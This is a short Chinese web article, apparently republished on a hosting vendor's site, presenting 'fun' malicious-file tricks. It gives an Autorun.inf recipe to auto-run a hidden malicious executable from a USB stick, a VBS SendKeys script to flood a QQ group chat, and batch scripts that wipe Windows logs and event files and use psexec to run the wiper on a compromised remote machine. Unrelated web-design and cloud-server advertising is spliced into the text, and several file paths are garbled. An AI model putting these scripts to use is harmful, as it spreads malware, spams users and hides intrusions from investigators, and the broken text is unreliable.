1、将可执行恶意文件放入U盘。并设置隐藏。
为宁强等地区用户提供了全套网页设计制作服务，及宁强网站建设行业解决方案。主营业务为网站设计、
做网站、宁强网站设计，以传统方式定制建设网站，并提供域名空间备案等一条龙服务，秉承以专业、用心的态度为用户提供真诚的服务。我们深信只要达到每一位用户的要求，就会得到认可，从而选择与我们长期合作。这样，我们也可以走得更远！
2、创建文件 Autorun.inf
3、写入内容：
[AutoRun]
OPEN=恶意文件全名
shellexecute=恶意文件全名
shell\Atuo\command=恶意文件全名
隐藏本文件。
4、当U盘插入新的设备，操作人员双击U盘图标查看U盘时，会自动运行恶意文件。
VBS脚本，QQ群聊刷屏：
新建vbs后缀文件。内容如下：
Set WshShell= WScript.CreateObject("WScript.Shell")
WshShell.AppActivate "群聊刷屏测试"
for i=1 to 10
WScript.Sleep 500
WshShell.SendKeys "^v"
WshShell.SendKeys i
WshShell.SendKeys "%s"
Next#for i=1to 10”语句用来控制发送次数，表示发送10次
打开一个群聊天窗口并复制要发送的内容到剪贴板上，双击刚才生成的“qq.vbs”切换到群聊天窗口中，在其中可看到已自动刷屏了。
日志清除：
新建del.bat脚本
@del c:winntsystem32logfiles*.*
@del c:winntsystem32config*.evt
@del c:winntsystem32dtclog*.*
@del c:winntsystem32*.log
@del c:winntsystem32*.txt
@del c:winnt*.txt
@del c:winnt*.log
@del c:del.bat
新建clean.bat
@copy del.bat
＼%1c$
@echo
向肉鸡复制本机的del.bat
……OK
@psexec
＼%1 c:del.bat
@echo
在肉鸡上运行del.bat
，清除日志文件……OK
另外有需要云服务器可以了解下创新互联scvps.cn，海内外云服务器15元起步，三天无理由+7*72小时售后在线，公司持有idc许可证，提供“云服务器、裸金属服务器、高防服务器、香港服务器、美国服务器、虚拟主机、免备案服务器”等云主机租用服务以及企业上云的综合解决方案，具有“安全稳定、简单易用、服务可用性高、性价比高”等特点与优势，专为企业上云打造定制，能够满足用户丰富、多元化的应用场景需求。
本文名称：恶意文件小乐趣-创新互联
文章分享：
http://cdkjz.cn/article/coijih.html
